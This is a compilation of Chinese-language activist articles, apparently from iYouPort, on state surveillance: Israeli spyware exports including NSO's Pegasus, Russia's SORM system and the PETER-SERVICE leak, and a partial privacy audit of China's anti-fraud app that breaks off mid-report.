和过去的许多重大危机一样，国家安全局似乎也在利用混乱和恐惧来推动和实施通常会被美国人拒绝的举措，如果历史是个指标的话，这些新的变化将在冠状病毒危机淡出新闻周期后很长时间内依然存在。

我们必须承认这些所谓的“解决方案”是什么，我们必须考虑到这些所谓的“解决方案”最终会创造出一个什么样的世界 —— 一个专制的

技术极权主义世界。

如果我们无视这些维稳机构和与其合作的组织所提倡的这些举措的迅速发展、无视所谓的“遗留制度”(以及随之而来的许多渴望已久的自由) 被逐步淘汰的现实，我们必然将自食其果。〇

Whitney Webb is a MintPress News contributing journalist based in Chile. She has contributed to several independent media outlets including Global Research, EcoWatch, the Ron Paul Institute and 21st Century Wire, among others. She has made several radio and television appearances and is the 2019 winner of the Serena Shim Award for Uncompromised Integrity in Journalism.

How the National Security State Is Using Coronavirus to Push AI-Driven Mass Surveillance

原文

以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群 - iyouport

以色列和NSO-间谍产业的领主政府的间谍行为长读

【2018年7月1日存档】人们一直认为移民和流亡能逃离本国的暴政和威胁。但如今不行了。以间谍软件和监视技术为主要武器的网络战正在全球展开，政权可以无国界追踪异议人士和任何他们不喜欢的人。so，除了站起来反抗，别无他法

以色列公司已经向至少130个国家出口了侵入式的监视技术 – 包括专制政权 – 并且在没有监督的情况下使用该技术来监视人权活动家、压制持不同政见者、并追踪LGBTQ ＋人士。

周五发布的“国土报”深入调查显示，一些专门从事窥探智能手机和笔记本电脑秘密的监视技术公司已经向巴林、南苏丹、阿联酋、尼日利亚、博茨瓦纳、墨西哥、阿塞拜疆等地出售了这种系统。

这些监视技术公司包括：**NSO Group, Verint Systems, Circles Technologies, Elbit Systems** 和 **Fifth Dimension**。

- 延伸阅读：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》

国土报从15个不同国家的 100 个信息来源获得证词，发现了用于监听电话、文本、在线活动、电子邮件和音频的超级电子监视工具已被用于侵犯平民，往往造成严重的后果。

在一个例子中，国土报发现，出售给阿塞拜疆的 **Verint** 监视产品已经被用来通过 **Facebook** 找到公民的“性倾向”。 2017 年，阿塞拜疆警方将矛头指向45名同性恋和双性恋男子、以及变性妇女。据人权观察组织称，有些人因此被捕并遭受酷刑，该组织称此举是“暴力运动”。

据国土报报道，出口到巴林的 Verint 产品也有能力从社交网络收集数据。该国已经有很多公民仅仅因网上的帖子而被判入狱。

同性关系在印尼是一种刑事犯罪，当局使用 Verint 的产品“建立了一个 LGBT 权利活动家数据库，这些数据已成为监视的重点目标”，并且还用来监视宗教少数群体。拥有电话间谍技术的 **Circles Technologies** 则向尼日利亚出售了这些监视产品，政治精英们利用这些产品来监视他们的竞选对手。

Elbit Systems 还向尼日利亚国家情报局提供了“间谍计划”；Fifth Dimension 为以色列安全机构创建了预测系统。

另一家公司，NSO集团，以其智能手机间谍工具 Pegasus 而臭名昭著（详见上文中的延伸阅读链接），该间谍软件可以轻松地在 iOS 和 Android 上获得支持，只需目标点击一下个性化的诱杀信息，即可使该骇客工具正常工作。

尤其是，该公司的许多出口产品难以被追踪，因为它们从国外运输、内部结构复杂、在欧洲或塞浦路斯等地注册。在大多数情况下，这些公司的高管们走出阴影区的可能性仍然非常低。

以色列保守派政治家 Yehuda Glick 呼吁透明，他告诉国土报：“在以色列，一切都置于安全标准之下，你会自动获得难以逾越的保护屏障。”

他说，“这里不是光明国家，而是流传着用于危害人类罪的武器，无论是士兵强奸妇女的武力、还是使用数字系统用于监视、或者步枪，都没有区别”。

大多数公司否认自己有不当行为，并强调他们的运作“符合法律规定”。他们说政府级的间谍工具被用来“打击恐怖主义并防止犯罪行

为”。和那些购买这些监视技术的国家政权的辩词一样。

恶意邮件

今年 8 月，国际特赦组织的工作人员已经成为 NSO 集团的 Pegasus 间谍软件的攻击目标，作为“复杂的监视活动”的一部分。调查发现恶意 WhatsApp 消息中的域 URL 连接到以色列公司的 600 多个可疑网站的庞大网络中，沙特的流亡活动家受到了同样的恶意攻击。

延伸阅读：《NSO 间谍软件中招者的亲身经历 – 当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》

政府、情报和执法机构对电子监视的使用正在全球蓬勃发展，总部位于荷兹利亚的 NSO 集团已成为该行业的主要参与者。该公司最著名的产品 Pegasus 间谍软件通过吸引用户点击链接，几乎可以完全控制住目标人的手机。入侵也很难被发现（详见上面链接中的案例）。

NSO：只为高额利润

NSO 在行业内拥有良好的关系网络，正如 2015 年泄露的大量电子邮件通信所揭示的那样。那一年，一个名为 Hacking Team 的意大利间谍技术公司，其工具与 NSO 类似，也被揭示了其庞大的内部文件库。

其中一封是 Hacking Team 负责业务开发的副总裁 Philippe Vinci 于2015年6月发送的电子邮件。它包含了对每个公司产品的比较分析，显然用于销售宣传，从而揭示了 Hacking Team 与 NSO 之间的激烈竞争；但在2014年8月发送的另一封电子邮件中，Hacking Team 首席执行官 David Vincenzetti 在讨论华尔街日报关于以色列公司的文章时称 NSO 为“我们的朋友” —— 当被媒体曝光时，他们更愿意将彼此视为同一阵线；但业务关系中他们是竞争对手。

与监视领域的许多其他以色列初创公司一样，NSO 于2010年由军队首要信号情报部门的三名老兵创立，即 8200：Niv Carmi，Omri Lavie 和 Shalev Hulio。他们在成立公司后立即开始研究 Pegasus 间谍技术，目前它仍然是 NSO 唯一的产品。

接下来发生的事令人震惊。**Pegasus** 间谍软件由于功能强大，很受全球政权的欢迎，**NSO** 能够通过它收取到过高的价格。

- 使用 NSO 的间谍软件，攻击者可以通过命令和 C2 服务器远程操控受害者手机，进行敏感信息窃取，回传包括密码、联系人

列表、日历事件、短信和流行聊天 APP 的语音呼叫等信息，攻击者甚至还能远程受害者手机摄像头和麦克风来捕捉手机附近的活动行为。

根据去年“纽约时报”的一篇文章，NSO 收取了 65 万美元用于监控10名 iPhone 用户，加上设置成本为 50 万美元 – 总计 115 万美元。简单的算术表明，为了监控 50 部手机，NSO 将收取约 400 多万美元; 监测 100 部手机的费用可能会增加到 700 多万美元 – 这只是在一个国家内，某些大国显然会有更长的目标清单。

刚刚起步时，NSO 只筹集了一次资金，这笔150万美元的资金来自投资者，如 Genesis Partners 风险投资基金的创始人 Eddy Shalev。

该公司显然很快就开始赚取大笔资金了。估计表明其每年的收入为 **2.5** 亿美元。其盈利能力的一个迹象是它最近支付的 **2.3** 亿美元股息，这是两位高管不否认的。

这些数字很大。即使实际的收入和股息少得多 – 比如每年 5000 万美元 – 一个拥有这种收入的成长型公司很容易被估价为数十亿美元。

但事情并非如此。2014 年，NSO 的股东以约 1.1 亿美元至 1.3 亿美元的价格将该公司70％的股份出售给美国私募股权巨头 **Francisco Partners**，这将使该公司的全部市值达到1.7亿美元。7月，商业报纸 Calcalist 报道说，全球最大的投资管理公司贝莱德（BlackRock）正在洽谈以10亿美元的市值投资 NSO。NSO 否认该报告，但所有迹象都表明它是准确的。

由于 NSO 出口国防相关产品，它将受到以色列国防部安全出口部门的监督，该部门的出口必须获得批准。NSO 显然还要求其客户在使用其工具之前获得本国监管机构的批准。但是，一位企业高管表示，道德委员会负责在最终确定销售之前对其进行审核；该高管还承认，部分委员会成员就是 **NSO** 的员工，但拒绝透露哪些不是他们的人。

当政府购买服务时会发生什么呢？如果将产品用于未经批准的用途，会发生什么？这就是墨西哥发生的事。

2014年9月，43 名学生在伊瓜拉市失踪，据说在当地警方的协助下 – 或者至少是不干预的情况下 – 被绑架和谋杀。

三年后，“纽约时报”报道，墨西哥使用 NSO 的 Pegasus 跟踪本国一些主要的人权律师，律师们一直在调查学生的失踪情况；当局还跟踪

了一位帮助起草反腐败立法的学者和两名调查墨西哥警察性侵犯指控的主要记者。这些人都没有被怀疑犯有任何刑事不法行为或恐怖主义，仅仅是由于他们的工作令政府不舒服了。

在墨西哥，与许多其他国家一样，NSO 可能进行的监视的具体细节被要求获得法官批准。“纽约时报”采访了前墨西哥情报官员，并得出结论认为政府未获准使用这些技术。

是否有理由期望 NSO 核实其客户是否符合其本国的所有法律义务？也许。但没有任何国防出口商遵守该标准。武器和国防系统制造商 – 当然还有政府 – 都有选择性的销售政策。他们就是立法者，他们可以随意放松或严格，但是，一旦买家收到产品，就不可能知道他们将如何使用，或者第三方可能会对他们做些什么。

出售给政府的机枪可以被用来驱散政治集会，或者流入恐怖分子手中，当地的武器制造商甚至不知道卖给以色列国防军的每一支枪都会发生什么事 – 这些监视技术公司也一样。

恶意的技术使用成为对民主的根本性威胁

几十年来，Privacy International 组织一直在致力于监控技术的透明化。

“互联网的传播和新的通信方式增加了监控的侵入性和权力”，隐私国际在线说，“现在……可以大规模地、系统性地并相对便宜地监控整个团体和国家。这对个人安全、民间社会、人权以及民主本身构成了根本性的威胁。”

虽然这些公司通常在黑暗中运营，但一家名为 Hacking Team 的骇客技术公司在被入侵后于2015年被面向全世界公开。电子前沿基金会（EFF）表示，其客户包括“一些以侵犯公民人权而闻名的政权”。

- 延伸阅读：《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 2015 年间谍软件供应商 Hacking Team 似乎已经完了，内部电子邮件和间谍软件源代码在网上泄露，任何人都可以看到。但是，三年后的如今，该公司居然又活过来了。 这要归功于 2016 年一位神秘投资者的现金涌入 —— 该投资人是沙特皇家宫廷顾问 HE Saud Al-Qahtani
- 这篇文章有提到意大利监控技术公司 Hacking Team《 危险：监控技术公司正在推动对零日漏洞的利用 》

- 这里是最全的：Wikileaks 的 Hacking Team 档案馆

Hacking Team 的客户包括阿塞拜疆、巴林、埃及、埃塞俄比亚、俄罗斯、沙特阿拉伯和越南。文件库由国际透明度组织 Wikileaks 发布，并保持在线（见上面延伸阅读）。〇

原文

俄罗斯正模仿美国棱镜计划建立大规模监视系统—— Wikileaks 披露（中文版）⏳ - iYouPort

Wikileaks老大哥的真面目长读

这些文件的披露是在一年前，我们当时并没有觉得必需翻译它。然而现在，事态正在恶化，某些恶意舆论对 Julian Assange 惯用的抹黑方式—那些无稽之谈—仍在起效，这完全是不可思议的。

其中最为典型的就是“俄罗斯”，那些深陷当权者地缘政治游戏宣传中的人们拒绝接受事实，甚至拒绝搜索查阅。**Wikileaks** 多年前就出版过 **800,000** 多份关于俄罗斯的文件。如果有中文读者不了解关于俄罗斯的披露，"这里的链接"可以帮助解除疑惑。

Julian 没有选择去俄罗斯避难而是留在了英国（如今是被困在英国了），因为他依旧相信法治和民主，他不想因为政治庇护求助而削弱绝无仅有的跨国独立媒体今后工作的自由度。他支持 Snowden 去俄罗斯是对的，因为 Snowden 的披露是一次性的，此后需要的只有人身安全，而 Julian 不一样，Wikileaks 需要继续工作，打击全球所有阴暗的政治权力和权势，他就不能屈从于任何一个国家。

然而事实证明，被声称的“民主和法治”是如此的虚伪。这不是 Julian 能料想到的，也不是任何致力于披露真相的媒体和新闻人能料想到的，更不是所有追求人权尊严的人应该接受的。

除了申辩和声援，我们不知道还能做些什么才能洗清这一旷世奇冤。民主党对 Julian Assange 的起诉不仅是对新闻自由的扼杀，更是令全球曾经对美国抱着仰慕和敬爱之情的人们深深失望，在民主持续滑坡的今天，在数字极权操纵选民侮辱宪法的今天，真相的力量无比强大，我们希望能有更多人发出自己的声音，为了民主自由、为了人权、为了我们所有人的未来。

「图」

「图」

虽然对通信流量的监视是一种全球现象，但支持其运作的法律和技术框架对每个国家而言都是不同的。俄罗斯的法律—特别是新的 Yarovaya 法—— 并未明确界定合法监听与国家情报机构未获法院命令而实施的大规模监控之间的区别。俄罗斯法律要求俄罗斯通信提供商安装所谓的 SORM（СистемаОперативно-РозыскныхМероприятий）监控组件，以便 FSB 可以进行自主监视。该 SORM 基础设施在俄罗斯开发和部署，FSB、俄罗斯内政部和俄罗斯监控承包商密切合作。

2017 年9月19日，Wikileaks 开始发布俄罗斯公司 Петер-Сервис（PETER-SERVICE）的文件“Spy Files Russia”系列。此版本包括 2007 年至 2015 年期间的 209 份文件（34 份不同版本的基础文件）。

PETER-SERVICE 于 1992 年在圣彼得堡成立，作为计费解决方案的提供商，并很快成为俄罗斯移动通信行业的主要软件供应商。

如今，它在俄罗斯的不同地点拥有 1000 多名员工，并在俄罗斯和乌克兰的主要城市设有办事处。今天由 PETER-SERVICE 开发和部署的技术远远超出了传统的计费流程，并已经延伸到监控领域。虽然在俄罗斯必须遵守严格的监控法，但 PETER-SERVICE 似乎非常积极地与国家情报机构寻求伙伴关系和商业机会。

事实上，PETER-SERVICE 作为监控合作伙伴具有独特的优势，因为其产品为俄罗斯移动运营商用户的数据提供了卓越的可见性，宝贵的元数据被暴露给 PETER-SERVICE，包括电话和消息记录，设备标识符（**IMEI**，**MAC** 地址），网络标识符（**IP** 地址），基站信息等等。俄罗斯当局当然对这种丰富的和汇总性的元数据感兴趣，于是俄罗斯当局的使用成为系统架构的核心组成部分。

PETER-SERVICE 软件的选定组件

「图」

「图」

PETER-SERVICE（SVC_BASE）软件的基础架构包括数据保留组件（DRS [en]，[ru]），SORM 中 的长期存储（SSP，服务СП-ПУ），IP 流量分析（流量数据，Mart，TDM）和国家机构访问档案的接口（适配器）。

流量数据集市（**TDM**）

Traffic Data Mart 是一个记录和监控向运营商注册的所有移动设备的 IP 流量的系统。它维护一个分类域名列表，涵盖俄罗斯当局所有感兴趣的领域。

这些类别包括黑名单网站、犯罪网站、博客、网络邮件、武器、僵尸网络、毒品、博彩、侵略、种族主义、恐怖主义等等。根据收集的信息，系统允许在指定的时间范围内为订户设备（由 IMEI / TAC，品牌，型号标识）创建报告：流量大的分类、流量大的网站、访问时间较长的网站、协议使用情况（浏览、邮件、电话、比特流）以及流量/时间分布。

数据保留系统（**DRS**）

数据保留系统是法律规定的对运营商的强制性组成部分; 它将所有通信（元）数据存储在本地三年。国家情报机构使用 DRS 内置的 Protocol 538 适配器来访问存储的信息。根据 PETER-SERVICE 的说法，他们的 DRS 解决方案可以在一个集群中每天处理 500,000,000 个连接。声称单日检测订户相关记录的平均搜索时间为 10 秒。

SP-PU

在 SORM 架构中，呼叫监控功能集中在连接到网络运营商的控制点（пунктахуправления，ПУ）。服务 СП-ПУ 是 SVC_BASE / DRS 和 SORM 组件之间的基于 HTTPS 的数据交换接口。接口接收来自国家情报机构的搜索请求，并将结果传递回请求发起人。合法拦截的搜索请求（基于法院命令）由运营商在同一系统上处理。

深度包检测产品（**DPI**）

相关文件的第一版包含 2013 年宽带俄罗斯论坛上 PETER-SERVICE 的 ВалерийСысик（Valery Syssik，开发总监）提供的公开幻灯片演示。标题为“国家 DPI / BigData / DataMining 技术堆栈和信息收集与分析的解决方案，以及预测社会和商业趋势的手段—— 二十一世纪国家和企业数字和金融主权的关键“。

该演示文稿不针对通常的电信提供商，而是针对一群内部人员 ФСБ（**FSB**，俄罗斯联邦安全局），МВД（俄罗斯内政部）和 триветвивласти（“权力的三大支柱”—— 立法，行政和司法）。

在爱德华·斯诺登（Edward Snowden）披露了美国国家安全局（NSA）的大规模监控计划及其与美国私人 IT 公司（如谷歌和 Facebook）的合作仅仅几个月后，该报告就出现了—— 该演示文稿专门针对 NSA Prism 计划，让执法机构、情报机构和其它利益相关方结成联盟构建与美国棱镜计划相当的数据挖掘行动。

PETER-SERVICE 声称已经可以访问俄罗斯境内的大部分电话记录以及互联网流量，并且在对当前体验的描述中，它声称已经部署了深度包检测技术“不仅仅是 IP 数据包，而是整个系列的内容“。PETER-SERVICE 是“情报机构的自然盟友”。

然而，演示文稿的核心是一个名为 DPI * GRID 的新产品（2013）- 一种用于“深度包检测”的硬件解决方案，它实际上是一个能够处理 10Gb / s 流量的黑盒子。国家互联网提供商将互联网流量聚集在基础设施中，并将全部流量重定向/复制给DPI*GRID单元，而这些单元负责检查、分析流量（演示文稿并未详细描述具体过程）， 并将元数据和提取的信息收集在数据库内供进一步调查。地区提供商可使用类似的小型解决方案” MDH/DRS “，将聚集的 IP 流量通过 10Gb/s 的连接发送到 MDH 进行处理。

「图」

「图」

PETER-SERVICE 宣称自身在SORM技术方面具备丰富的经验，尤其 DPI，此外还具备收集、管理和分析以商业和情报为目的的“大数据“。PETER-SERVICE 表示，PETER 在 SORM DPI 解决方案、上下文广告方面具备经验，且具有解决方案。PETER 正在协调可扩展国家解决方案来控制数字网络，公司力寻在象征性网络联盟（运营商-厂商-搜索引擎-企业-国家机关）中达成卓有成效的合作。

「图」

「图」

上图显示了俄罗斯骨干网基础设施及各大提供商（在不同地区运行 DPI*GRID 系统组件）的节点。 节点“TopGun“极有可能指的是 PETER-SERVICE 开发的 DPI 系统。

关于 **SORM**

SORM 是俄罗斯监控的技术基础设施，其历史可以追溯到 1995 年，

从 SORM-1（捕获电话和手机通信）和 SORM-2（拦截互联网流量，1999 年），发展到如今的 SORM-3。

SORM 现可收集各种形式的通信，并长期存储用户的所有信息和数据，包括实际的录音和地理位置。该系统不断扩大，2014 年还引入社交媒体平台，俄罗斯通信部要求企业安装包含深度包检测（DPI）功能的新设备。2016 年，SORM-3 新增适用于在俄罗斯所有互联网服务提供商的分类监管功能。欧洲人权法院认为 SORM 违反 2015 年《欧洲人权公约》。

你可以在这里下载全部文件（Here you can download all the files），有英语和俄语两个版本。注意：本文全部链接建议使用 **Tor** 打开，美国一直在监视访问 **Wikileaks** 网站的互联网用户，有可能长期追踪，不管你是游客还是支持者。相关具体披露可见这篇文章：《"情报部门如何监视了所有支持 Wikileaks 的人，甚至包括仅仅点击了网页的游客"》

原文

反诈中心应用程序危险在哪里？如何抵制？-审计报告 - iyouport

中国-半壁高堡奇人你应该了解的现实监视资本主义的世界长读

简单成一句话就是，您需要抵抗的不是一个应用程序，而是整个暴政。

「图」

https://t.me/iyouport/8884

如上图，日前有中文评论提到了 “现实的4个层面”。也许您会好奇它究竟是什么样的。事实上IYP一直在展示的就是第3和第4层。本文将再一次借助 “反诈中心” 这一现实的主题，作为一个演示，剥开这个 “洋葱”。

—— 第2层 ——

「图」

在所有来自统治阶级的威胁行为中，强制公民安装特定的应用程序这种做法，相比下是最低端的（当然，或许也是最省钱的，比那些售价几百万美元的间谍软件可便宜多了 —— 从技术成本到公关成本）。

如果我们假设监控是其主要战略目标，强制安装应用程序这种做法的有效性仅仅取决于公民的顺从。公民不会主动顺从，于是，统治阶级将首先设立一系列社交工程手段 —— 从蒙骗到诱导、再到收紧权限以威胁人们的日常生活。这就是您已经在 “反诈中心应用程序” 的 “推广” 中看到的故事，也是您可以在全世界不同国家看到的同样的故事。

我们此前已经发布了印度的故事，在这里看到，这只是一个例子，一套比较典型的手段：当局强迫人们安装一款监视应用程序，该应用程序不仅记录你的一举一动，而且还会屏蔽你手机上其他应用程序，如

Facebook、YouTube 让其无法工作；它甚至远程删除你手机中被当局不满意的任何东西；如果拒绝安装该应用程序，你就会失业，你的家人孩子就会挨饿，甚至一旦安装后你就无法卸载它，卸载对阻止监视不起作用，并且会让操作卸载的人被纳入当局的重点维稳黑名单。

对于中国的“反诈中心”应用程序来说，至少目前为止似乎还没有听到如印度这般恐怖的强制性的惩罚措施和监视能力；但是，其性质是完全相同的。正如德国反抗者在全球反警察暴力抗议运动中所强调的：“我们不能满足于尚且还没被正面射杀”—— 我们是人，我们理应享受基本人权，免于被监视和免于被屠戮一样，都是基本人权。

从表面上看，反诈中心应用程序有至少3个特点令其不同于流行全球的间谍软件，如以色列NSO的“飞马 Pegasus”（在这里看到如何抵制这种最危险的攻击）；但它们之间也有相似之处：

1、反诈中心应用程序是明确告知和强制目标人群安装的，因此它不需要漏洞利用或者说不需要入侵来实现也许是同等的侵入性监视能力。于是，通常情况下有可能有效避免间谍软件和其他类似威胁的安全操作和数字素养，在此不一定有用。

2、间谍软件具有高度的针对性，它是作为一种工具来满足具体的镇压战略，针对异议人士、反对党、反对派、独立的权利组织、调查记者、人权律师、政敌 …… 也就是说，那些被明确怀疑为威胁到了统治阶级权力稳固的个人和群体。当然，包括与这些目标人有关系的周边其他人（还记得那罐蛋白粉的故事吗？）。

但反诈中心这类被强制安装的应用程序，似乎并没有明确的目标群体针对性，它试图强加在所有人身上。这点上与在新疆地区强制安装的 JingWang（净网）应用程序相一致 —— 它声称打击某种罪恶，但预设了“所有人都具有被打击/防范的必要性/风险”的错误的前提；于是其战略就不是它所声称的打击罪恶，而是打击你。

您将在下面的审计结论中看到该应用程序在您的手机上做了什么，即便您不理解所有技术相关的结论，也没有关系，您只需要知道，它在贪婪地收集，它的战略目标是数据权力 —— 尽可能多的数据囤积带来尽可能全面的对内控制，和对外的地缘政治竞争力。

—— 第*3*层 ——

「图」

数据就是权力，数据就是资本，数据就是政治，当下是数据在地缘政治争霸战中发挥着曾经石油的作用。如果您尚未理解这点，见：

- 《所有信息都是战略性的：信息地缘政治》
- 《您的所有个人数据都是政治数据：走向民主之前需要了解的事》

这就是为什么中国有“墙”；并且，越来越多的墙在全世界各国国家以不同方式树立起来（在这里看到具体解释《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来》）。是的，墙不是用来阻止您看到什么，或者说至少阻止您不是首要战略，即 排斥不是首要战略；相反，充分地获取/收集和集中化，才是真正的目的。

这就是反诈中心这类数据黑洞想要进一步巩固的权力。

正如巴黎索邦大学的经济学家塞德里克·杜兰德（Cedric Durand）所言，数字土地的全面集中正在导致斯图亚特·密尔（Stuart Mill）已经预见到的一个场景，即：一个国家的每一块土地都属于一个主人。大众对数字主人的普遍依赖似乎是“算法时代自由主义同类相食的未来”。

换言之，即便您安装了该应用程序（和类似很多其他应用程序）而*并没有*遭遇到喝茶、拘捕、判刑的恶果，您的安装行为本身，就已经在大力协助统治阶级巩固权力了。您在扮演帮凶的角色。

3、类似反诈中心这样的应用程序能够明目张胆地登上苹果应用程序商店，并且因显赫的下载量而排入榜首位置。没有任何间谍软件能做到这种形式的不要脸，虽然它们具有相似的甚至一致的侵犯性质。

「图」

您可能会说，微信、Facebook 等等这类全球热门应用所具有的侵入性监视能力仅次于间谍软件，它们不也被排在应用程序商店的榜首吗？没错，但它们的数据权力掌握在监视资本家手中，而不是政府；政府与监视资本家抢夺数据权力的斗争已经持续了几十年，从最初的合作（公私监控伙伴关系）、到后来以中介为特征的大规模监控系统（有时是秘密的、有些是公开的、其中包含了诸多的合谋）、再到最近的伪装成“吹哨”的正面夺取控制权（不久后我们将详细介绍这件事）。现在中国政府做的事，基本等同于自己来做监视资本家。

4、反诈中心和间谍软件最大的共同点就是，它们都需要且只能通过

反抗运动来制止。没有别的办法。也许您会觉得“安装在虚拟机里不就行了吗？”、“开发一个假的反诈中心应用程序唬弄一下不就行了吗？”、或者“买两个手机啊”，等等，但很遗憾的是，这些都不是解决方案。也许它们能在眼下管用，能让你登上公共交通工具、进入自己的公寓、在公共部门办理事务（请随时记得，这些都是强加给您的限制！是您被剥夺了的正当权利！），但它们都无法阻止罪恶的膨胀和蔓延。很快，罪恶就会膨胀到令上述方法全部失效，就会蔓延到更加无处不在，将没有人可以侥幸逃脱。

始终是统治阶级在害怕你，而不是反过来；是的，您没看错，这不仅仅鉴于统治阶级对社会的每一点点风吹草动提心吊胆并反应过度，并且鉴于，管控措施永远都是渐进加强的、温水煮的，他们一直在试探社会的反应，因为他们知道，如果我们联合起来奋起反击，他们就完蛋了。

连他们都知道的事，如果我们还不知道，我们将没有任何胜算。

当您庆幸于在自己脖子上每一圈加紧的绳索下获得的喘息时，无需质疑，您只会迎来下一圈更紧的绳索。

这不是防御。这是自杀式的。

「图」

—— 第*3*层 ——

「图」

老读者知道，近两年来IYP一直在强调两个要点：

- 1、没有纯粹的“国内问题”。或者说，如果不能在全球规模上考虑解决方案，国内问题就无从解决（在这里看到关于本文主题的对这一要点的具体解释；并结合上述）。
- 2、在全球化的世界里，所有的斗争都是相互联系的。在一个地方的斗争就是在所有地方的斗争。（我们不久后还有一篇长文将再次展示这个要点）

这两个要点在所有问题上都成立。在数字安全问题上尤其成立，因为这里是没有国界的。

就如以色列在巴勒斯坦平民身上测试的武器，之后在世界各地的军火

交易会上以“经过战斗考验”的名义出售；北京当局在新疆人民身上测试的监视技术，之后也以“充足的实践数据”的噱头销往全球。（别忘了，中国的做法也是抄来的。在这里看到《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》）。这样的例子可以写满一个超长的列表，但基本结论您应该已经很清楚了 —— 一个地方的压迫经验将成为很多其他地方的压迫模版；同样，一个地方的反抗成功，也可能令一种或多种压迫手段在全世界很多国家失效，这就是为什么说每一场反抗的成功就是全世界所有被压迫者的成功。

中国正在垄断零日漏洞所有权（在这里看到具体分析。您还可以在这里看到为什么中国会这样做《美国、中国和俄罗斯：暗网最强大的民族国家骇客》），这有可能意味着中国自己开发的间谍软件将迎来一个飞跃时代，虽然尚不确定；并且，3年前就已经发现了以色列间谍软件的香港受害者，换句话说，您最好忘记您所了解的地缘政治常识，因为它们在预测数字灾难方面并不那么好用（您可以阅读我们的列表-4，其中有一个板块为“作恶者-谁在帮中国”，其中记录到的最恶劣的同谋大多来自美国公司；“中美为敌”的常识在这里不起作用，统治阶级在反乌托邦梦想方面具有共同利益）。

所以您知道，我们之所以更倾向于推测“反诈中心”应用程序的强制安装是大数据的集体性灾难，而不是**VPN**翻墙的个人性灾难，除了如上述所言关于数据权力的地缘政治博弈的原因之外，另一个原因是，因为统治阶级随时可能也可以采用任何国家开发的最先进的间谍软件来打击本土异议和反对派 —— 他们这样做的基础已经存在；但他们首先必需知道“谁有可能成为异议和反对派”，这就是大规模数据收集和大规模监视才能完成的工作 。

请注意，正在和一直在完成大规模数据收集和大规模监视工作的东西有非常之多！远非“反诈中心”一个。而当它们伪装成所谓的“安全”、“有趣”、“便利性”时，人们往往会忽视它们的邪恶本质。

当我们发布下面这个视频的时候，有中国朋友准确的指出了这是少数派报告的威胁：

是的，少数派报告的现实威胁不是从现在开始的，而是从2007年；它正是近十几年来反抗大数据运动的主要原因。

所以，再一次重复本文的要点：您需要对抗的不是一个应用程序，而是整个暴政本身 —— 是监视资本主义无限汲取的暴政，而不仅仅是某个民族国家。

IYP一直在讲安全，本文这一审计报告也是为安全的目的而为，但是，真正的安全并不在于一份技术审计，也不在于可能的防御措施。真正的安全取决于被压迫者对暴政的抵抗能力，所有防御措施都是为了保存您这份能力 —— 我们假设它有 —— 避免它死于摇篮之中。但只有当您有效使用这份能力时，才能有真正的安全。

防御不是逃避，而是在为进攻做好准备。

「图」

感谢OTF协助的这份审计报告。本报告主要是针对 andriod 操作系统进行的审计，对于 ios 操作系统的影响，仍没有被检查过。

以下是报告中得出的主要结论。

—— 第*1*层 ——

「图」

该应用软件声称能帮助用户侦测到诈骗电话、短信、安装在手机上的诈骗软件，并对用户发出警告。要实现这些功能就需要极高的应用许可，比如巡查所有已安装在使用者手机上的应用软件、读取日志信息、读取**SMS**信息等等；该应用程序还利用了许多额外的敏感权限：包括但并不限于访问位置、使用摄像头、录制音频、以及写入设备和应用程序设置。

由于该应用程序必需使用中国手机号注册，负责审计的技术人员没有能获得中国的手机号，于是无法实现完整的动态分析，因此，本次审计的大部分内容是通过静态分析进行的。在没有注册账户的情况下，对可访问的部分进行了简单的动态分析。

该应用程序的用户隐私政策指出，某些服务需要用户提供个人敏感信息才能正常工作，但如果用户不提供这些信息，其他功能仍应正常工作。例如，该政策指出，用户可以选择是否利用该应用程序的病毒扫描功能；该政策还声称，用户不是必需使用 “身份验证” 功能，该功能收集面部识别特征并将其发送给第三方验证机构。该应用程序利用 Cloudwalk Technologies 软件包进行面部识别。

这份报告所分析的应用程序的版本是安卓版的v1.1.7。

以下是对一些关键问题的解答。

1、该应用程序收集哪些数据？它监测什么？

「图」

该应用程序可以收集大量的用户数据和活动信息，包括在后台收集和直接从用户输入收集。在最初启动时，它要求获得拨打和管理电话的权限；访问位置；以及访问设备上的照片、媒体和文件。此外，对主API 的每个请求都包含大量的用户和设备信息，包括：

- Android 唯一设备ID
- 操作系统版本
- 操作系统类型
- 操作系统品牌
- 操作系统型号
- 应用版本
- IMEI、MEID、ESN 或 Android 设备ID
- Umeng设备令牌
- Node ID
- Node Code
- 纬度和经度
- 地址

要注册该应用程序，用户必须提供自己的电话号码和位置，并设置一个密码。注册请求将以下信息传输给服务器：

- 电话号码
- 短信验证码
- 密码
- 应用版本
- Android版本
- IMEI
- 请求的 IP 地址
- Region ID
- 警察用户PCode
- 警察用户ID

为了使用该应用程序验证身份，用户还必须提交：

- 身份证照片和当前的脸部图像
- 姓名
- 身份证号码

该应用程序似乎利用了面部识别软件公司 CloudWalk Technology 的软件。该公司已经因大规模监控和侵犯人权而受到制裁。更多相关内容见《图解中国科技巨头—半壁“高堡奇人”》。

该应用程序还利用各种第三方服务，在后台收集信息。该隐私政策中特别提到 Antiy Mobile 用于病毒扫描，Umeng用于跟踪和分析。该政策还指出，应用程序作者对这些第三方收集的数据免责。观察到的各种额外的第三方服务包括用于异常报告和分析的腾讯 Bugly，用于地理数据的 Amap，以及用于统计和应用安装的 openinstall。（详细内容见原报告附录）

该应用程序的许多核心功能都需要敏感的权限来增强或修改用户操作。其中一些权限允许应用程序读取和接收短信，用户报告 “短信欺诈或骗局” 的能力需要这些权限。该应用还利用了一个广播接收器，它有能力接收包含各种内容的短信，如 “恶意链接”。该应用程序有相应的能力来记录通话，以及访问通话记录和联系人信息。用户还可以拒绝和/或报告没有录音的电话。

2、该应用程序如何收集数据？用户能否通过改变权限来防止收集？

「图」

